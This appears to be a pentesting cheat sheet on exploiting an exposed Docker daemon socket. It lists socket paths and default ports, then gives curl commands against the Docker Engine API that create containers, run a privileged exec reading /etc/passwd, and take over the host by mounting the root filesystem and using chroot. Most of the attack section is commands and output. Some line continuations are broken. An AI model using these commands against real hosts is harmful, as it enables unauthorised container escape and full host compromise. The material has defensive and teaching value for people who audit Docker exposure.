Exposed Docker Socket
The Docker daemon can listen for Docker Engine API requests via three different types of socket:
  • unix
  • tcp
  • fd
By default, Docker runs through a non-networked UNIX socket, which is created at /var/run/docker.sock and requires either root permission or docker group membership.
Additionally, pay attention to the runtime sockets of other high-level runtimes:
  • dockershim: unix:///var/run/dockershim.sock
  • containerd: unix:///run/containerd/containerd.sock
  • cri-o: unix:///var/run/crio/crio.sock
  • frakti: unix:///var/run/frakti.sock
  • rktlet: unix:///var/run/rktlet.sock
  • ...
A tcp socket is used to remotely access the Docker daemon, for which the default setup provides un-encrypted and un-authenticated direct access. It is conventional to use port 2375 for un-encrypted, and port 2376 for encrypted communication with the daemon.
On Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket fd://.
Sometimes the Docker daemon can be accessed inside the container or over the network. It is often leads to commands execution on the host system and escape from the container.

List of all containers

curl command to list all containers on the host over unix socket.
$ curl -s --unix-socket /var/run/docker.sock http:/containers/json
curl command to list all containers on the host over tcp socket.
$ curl -s http://<host>:<port>/containers/json

Create a container

curl command to create container over unix socket.
$ export CONTAINER_NAME=test-container
$ curl \
-s \
--unix-socket /var/run/docker.sock \
"http:/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'
curl command to create container over tcp socket.
$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://<host>:<port>/containers/create?name=${CONTAINER_NAME}" \
-X POST \
-H "Content-Type: application/json" \
-d '{ "Image": "alpine:latest", "Cmd": [ "id" ] }'

Start the container

$ export CONTAINER_NAME=test-container
$ curl \
-s \
"http://<host>:<port>/containers/${CONTAINER_NAME}/start" \
-X POST \
-H "Content-Type: application/json"

Code execution in a container

First you need to create an instance of exec that will run in the container.
$ curl \
-s \
"http://<host>:<port>/containers/<container_id>/exec" \
-X POST \
-H "Content-Type: application/json" \
-d '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}'
​
HTTP/1.1 201 Created
...
​
{"Id":"913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3"}
Now that exec has been created, you need to run it.
$ export EXEC_ID=913c5ce2f3bc3e929166f2b402512a02c1669c03e515ef793513390ca1c3fdc3
$ curl \
-s \
"http://<host>:<port>/exec/${EXEC_ID}/start"
-X POST \
-H "Content-Type: application/json" \
-d '{"Detach": false,"Tty": false}' \
​
HTTP/1.1 200 OK
...
​
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Host takeover

To execute commands on the host system, start the Docker container and mount the host root directory on the container volume.
  1. 1.
    Download ubuntu image.
    $ curl \
    -s \
    "http://<host>:<port>/images/create?fromImage=ubuntu&tag=latest" \
    -X POST \
    -H 'Content-Type: application/json'
  2. 2.
    Create a container.
    $ curl \
    -s \
    "http://<host>:<port>/containers/create"
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostfs/": {}},"HostConfig": {"Binds": ["/:/hostfs"]}}'
  3. 3.
    Start the container.
  4. 4.
    In order to execute commands on the host system, change the root directory.
    $ chroot /hostfs

References